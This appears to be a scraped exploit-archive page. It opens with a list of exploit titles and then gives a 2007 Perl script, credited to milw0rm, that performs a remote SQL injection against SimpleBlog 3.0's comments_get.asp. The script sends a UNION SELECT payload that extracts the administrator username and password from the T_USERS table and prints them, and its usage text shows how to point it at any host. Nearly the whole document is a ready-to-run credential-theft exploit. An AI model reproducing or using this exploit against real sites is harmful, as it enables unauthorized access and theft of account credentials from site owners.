477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
65 lines
2.3 KiB
Text
Executable file
65 lines
2.3 KiB
Text
Executable file
#!/usr/bin/perl
|
|
|
|
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
|
|
# SimpleBlog 3.0 [ comments_get.asp ] #
|
|
# ] Remote SQL Injection [ #
|
|
# #
|
|
# [c]ode by TrinTiTTY [at] g00ns.net #
|
|
# Vulnerability by MurderSkillz #
|
|
# #
|
|
# shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox, #
|
|
# Canuck, a59, sess, bernard, + the rest of g00ns #
|
|
# [irc.g00ns.net] [www.g00ns.net] [ts.g00ns.net] #
|
|
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
|
|
|
|
use LWP::UserAgent;
|
|
|
|
$host = @ARGV[0];
|
|
$ua = LWP::UserAgent->new;
|
|
|
|
my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';
|
|
|
|
if (@ARGV < 1){&top( );&usage( )}
|
|
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
|
|
else { &xpl( ) }
|
|
sub xpl( ) {
|
|
&top( );
|
|
print "\n [~] Connecting\n";
|
|
$res = $ua->get("http://$host/$inject");
|
|
|
|
$con = $res->content;
|
|
print "\n [~] Checking for admin info\n";
|
|
if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)
|
|
{
|
|
print "\n\t [+] Admin user: $1\n";
|
|
}
|
|
if ($con =~ /<a href\=\"http:\/\/(.*)\" target\=\"\_blank\">(.*)<\/a>/gmi)
|
|
{
|
|
print "\n\t [+] Admin password: $2\n";
|
|
print "\n [+] Complete\n";
|
|
}
|
|
else {
|
|
print "\n [-] Unable to retrieve admin info\n";
|
|
exit(0);
|
|
}
|
|
}
|
|
sub top( )
|
|
{
|
|
print q {
|
|
##################################################################
|
|
# SimpleBlog 3.0 [ comments_get.asp ] #
|
|
# ] Remote SQL Injection [ #
|
|
# #
|
|
# [c]ode by TrinTiTTY [at] g00ns.net #
|
|
# Vulnerability by MurderSkillz #
|
|
##################################################################
|
|
}
|
|
}
|
|
sub usage( )
|
|
{
|
|
print "\n Usage: perl simpleblog3.pl <host>\n";
|
|
print "\n Example: perl simpleblog3.pl www.example.com/path\n\n";
|
|
exit(0);
|
|
}
|
|
|
|
# milw0rm.com [2007-07-28]
|